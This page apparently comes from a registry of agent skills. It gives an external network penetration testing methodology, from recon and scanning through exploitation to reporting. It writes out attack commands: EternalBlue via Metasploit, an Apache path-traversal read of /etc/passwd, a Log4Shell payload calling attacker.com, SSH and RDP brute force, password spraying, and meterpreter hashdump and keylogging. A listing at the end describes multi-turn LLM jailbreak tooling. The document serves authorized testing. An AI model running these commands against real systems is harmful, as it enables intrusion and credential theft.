external/anthropic-cybersecurity-skills/skills/performing-external-network-penetration-test/SKILL.md
Conduct a comprehensive external network penetration test to identify vulnerabilities in internet-facing infrastructure using PTES methodology, reconnaissance, scanning, exploitation, and reporting.
npx skillsauth add seikaikyo/dash-skills performing-external-network-penetration-testInstall this skill globally with one command. Works with Claude Code, Cursor, and Windsurf.
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An external network penetration test simulates a real-world attacker targeting an organization's internet-facing assets such as firewalls, web servers, mail servers, DNS servers, VPN gateways, and cloud endpoints. The objective is to identify exploitable vulnerabilities before malicious actors do, following frameworks like PTES (Penetration Testing Execution Standard), OSSTMM, and NIST SP 800-115.
Scope:
- Target IP ranges: 203.0.113.0/24, 198.51.100.0/24
- Domains: *.target.com, *.target.io
- Exclusions: 203.0.113.50 (production DB), *.staging.target.com
- Testing window: Mon-Fri 22:00-06:00 UTC
- Emergency contact: SOC Lead — +1-555-0100
- Authorization ID: PENTEST-2025-EXT-042
| Document | Status | Owner | |----------|--------|-------| | Master Service Agreement (MSA) | Signed | Legal | | Statement of Work (SOW) | Signed | PM | | Rules of Engagement (RoE) | Signed | CISO | | Get-Out-of-Jail Letter | Signed | CTO | | NDA | Signed | Legal | | Insurance Certificate | Verified | Risk |
# OSINT — Subdomain enumeration
subfinder -d target.com -o subdomains.txt
amass enum -passive -d target.com -o amass_subs.txt
cat subdomains.txt amass_subs.txt | sort -u > all_subs.txt
# DNS record enumeration
dig target.com ANY +noall +answer
dig target.com MX +short
dig target.com NS +short
dig target.com TXT +short
# WHOIS and ASN lookup
whois target.com
whois -h whois.radb.net -- '-i origin AS12345'
# Certificate Transparency log search
curl -s "https://crt.sh/?q=%.target.com&output=json" | jq '.[].name_value' | sort -u
# Google dorking
# site:target.com filetype:pdf
# site:target.com inurl:admin
# site:target.com intitle:"index of"
# Shodan enumeration
shodan search "org:Target Corp" --fields ip_str,port,product
shodan host 203.0.113.10
# Email harvesting
theHarvester -d target.com -b all -l 500 -f theharvester_results
# GitHub/GitLab secret scanning
trufflehog github --org=targetcorp --concurrency=5
gitleaks detect --source=https://github.com/targetcorp/repo
# Host discovery — ping sweep
nmap -sn 203.0.113.0/24 -oG ping_sweep.gnmap
# TCP SYN scan — top 1000 ports
nmap -sS -sV -O -T4 203.0.113.0/24 -oA tcp_scan
# Full TCP port scan
nmap -sS -p- -T4 --min-rate 1000 203.0.113.0/24 -oA full_tcp
# UDP scan — top 100 ports
nmap -sU --top-ports 100 -T4 203.0.113.0/24 -oA udp_scan
# Service version and script scan
nmap -sV -sC -p 21,22,25,53,80,110,143,443,445,993,995,3389,8080,8443 203.0.113.0/24 -oA service_scan
# SSL/TLS enumeration
sslscan 203.0.113.10:443
testssl.sh --full https://target.com
# Web technology fingerprinting
whatweb -v https://target.com
wappalyzer https://target.com
# Nessus scan (via CLI)
nessuscli scan --new --name "External-Pentest-2025" \
--targets 203.0.113.0/24 \
--policy "Advanced Network Scan"
# OpenVAS scan
gvm-cli socket --xml '<create_task>
<name>External Pentest</name>
<target id="target-uuid"/>
<config id="daba56c8-73ec-11df-a475-002264764cea"/>
</create_task>'
# Nuclei vulnerability scanner
nuclei -l all_subs.txt -t cves/ -t exposures/ -t misconfigurations/ \
-severity critical,high -o nuclei_results.txt
# Nikto web server scan
nikto -h https://target.com -output nikto_results.html -Format htm
# Directory and file enumeration
gobuster dir -u https://target.com -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \
-x php,asp,aspx,jsp,html,txt -o gobuster_results.txt
feroxbuster -u https://target.com -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt \
--depth 3 -o ferox_results.txt
# Check for known CVEs on identified services
searchsploit apache 2.4.49
searchsploit openssh 8.2
# Test for default credentials
hydra -L /usr/share/seclists/Usernames/top-usernames-shortlist.txt \
-P /usr/share/seclists/Passwords/Common-Credentials/top-20-common-SSH-passwords.txt \
ssh://203.0.113.10 -t 4
# Test VPN endpoints
ike-scan 203.0.113.20
# Check for IKEv1 aggressive mode
# SNMP enumeration
snmpwalk -v2c -c public 203.0.113.30
onesixtyone -c /usr/share/seclists/Discovery/SNMP/snmp-onesixtyone.txt 203.0.113.0/24
# SMTP enumeration
smtp-user-enum -M VRFY -U /usr/share/seclists/Usernames/Names/names.txt -t 203.0.113.25
# Metasploit — EternalBlue (MS17-010) example
msfconsole -q
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 203.0.113.15
set LHOST 10.10.14.5
set LPORT 4444
exploit
# Apache RCE — CVE-2021-41773 / CVE-2021-42013
curl -s --path-as-is "https://target.com/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd"
# ProxyShell exploitation (Exchange)
python3 proxyshell_exploit.py -u https://mail.target.com -e [email protected]
# Log4Shell (CVE-2021-44228) testing
curl -H 'X-Api-Version: ${jndi:ldap://attacker.com/exploit}' https://target.com/api
# SQL Injection with sqlmap
sqlmap -u "https://target.com/page?id=1" --batch --dbs --risk=3 --level=5
# XSS payload testing
dalfox url "https://target.com/search?q=test" --skip-bav
# Command injection testing
commix --url="https://target.com/ping?host=127.0.0.1" --batch
# File upload bypass
# Upload PHP shell with double extension: shell.php.jpg
# Test content-type bypass: application/octet-stream -> image/jpeg
# Brute force RDP
crowbar -b rdp -s 203.0.113.40/32 -u admin -C /usr/share/wordlists/rockyou.txt -n 4
# Spray attack against OWA
sprayhound -U users.txt -p 'Spring2025!' -d target.com -url https://mail.target.com/owa
# Crack captured hashes
hashcat -m 5600 captured_ntlmv2.hash /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule
# Establish persistence (authorized testing only)
# Meterpreter session
meterpreter> sysinfo
meterpreter> getuid
meterpreter> hashdump
meterpreter> run post/multi/recon/local_exploit_suggester
# Privilege escalation check
# Linux
./linpeas.sh | tee linpeas_output.txt
# Windows
.\winPEAS.exe | tee winpeas_output.txt
# Data exfiltration proof
# Create proof file (DO NOT exfiltrate real sensitive data)
echo "PENTEST-PROOF-$(date +%Y%m%d)" > /tmp/pentest_proof.txt
# Network pivoting through compromised host
# Set up SOCKS proxy via SSH
ssh -D 9050 [email protected]
proxychains nmap -sT -p 80,443,445 10.0.0.0/24
# Screenshot and evidence collection
meterpreter> screenshot
meterpreter> keyscan_start
| Severity | CVSS Range | Count | Example | |----------|-----------|-------|---------| | Critical | 9.0-10.0 | 2 | RCE via unpatched Exchange (ProxyShell) | | High | 7.0-8.9 | 5 | SQL Injection in customer portal | | Medium | 4.0-6.9 | 8 | Missing security headers, TLS 1.0 | | Low | 0.1-3.9 | 12 | Information disclosure via server banners | | Info | 0.0 | 6 | Open ports documentation |
1. Executive Summary
- Scope and objectives
- Key findings summary
- Risk rating overview
- Strategic recommendations
2. Technical Findings
For each finding:
- Title and CVSS score
- Affected asset(s)
- Description and impact
- Steps to reproduce (with screenshots)
- Evidence/proof of exploitation
- Remediation recommendation
- References (CVE, CWE)
3. Methodology
- Tools used
- Testing timeline
- Frameworks followed (PTES, OWASP)
4. Appendices
- Full scan results
- Network diagrams
- Raw tool output
| Priority | Timeline | Action | |----------|----------|--------| | P1 — Critical | 24-48 hours | Patch RCE vulnerabilities, disable exposed admin panels | | P2 — High | 1-2 weeks | Fix injection flaws, implement MFA | | P3 — Medium | 30 days | Harden TLS configs, add security headers | | P4 — Low | 60-90 days | Remove version banners, update documentation |
| Tool | Purpose | License | |------|---------|---------| | Nmap | Port scanning and service enumeration | GPLv2 | | Metasploit | Exploitation framework | BSD | | Burp Suite Pro | Web application testing | Commercial | | Nuclei | Vulnerability scanning | MIT | | Subfinder | Subdomain enumeration | MIT | | SQLMap | SQL injection testing | GPLv2 | | Nessus | Vulnerability scanner | Commercial | | Gobuster | Directory brute-forcing | Apache 2.0 | | Hashcat | Password cracking | MIT | | theHarvester | OSINT email/domain harvesting | GPLv2 |
tools
Conduct comprehensive GDPR compliance assessments by evaluating data processing activities against EU Regulation 2016/679, including Article 30 records of processing, lawful basis validation, data subject rights implementation, Data Protection Impact Assessments (DPIAs) under Article 35, breach notification procedures, international transfer safeguards (SCCs, adequacy decisions), and technical/organizational measures under Article 32. Use when processing personal data of EU residents, preparing for supervisory authority audits, implementing privacy-by-design for new systems, scoping compliance gaps for M&A due diligence, assessing third-party processors, or responding to data subject access requests at scale. Incorporates 2026 guidance from ICO, EDPB, and post-Data (Use and Access) Act 2025 UK-GDPR considerations. Do not use for implementing specific Article 32 controls — use implementing-gdpr-data-protection-controls; or for DSAR automation — use implementing-gdpr-data-subject-access-request.
tools
Parse Windows forensic artifacts—$MFT/$J (MFTECmd), Prefetch (PECmd), registry hives (RECmd), shellbags, and Amcache—into normalized CSV/JSON with Eric Zimmerman's EZ Tools, then load results into Timeline Explorer for analysis. Use during DFIR/incident-response investigations, after triage collection (e.g. with KAPE), to establish program execution, file/folder access, and persistence evidence from acquired forensic images.
development
Build automated multi-turn adversarial attacks against conversational LLM targets using Microsoft PyRIT's RedTeamingOrchestrator, CrescendoOrchestrator (gradual escalation), and TreeOfAttacksWithPruningOrchestrator (adaptive branching), with scorer feedback loops and persisted conversation memory. Use when single-shot LLM scanning is insufficient and you need multi-turn, scorer-driven AI red-team campaigns against a chatbot or agent.
testing
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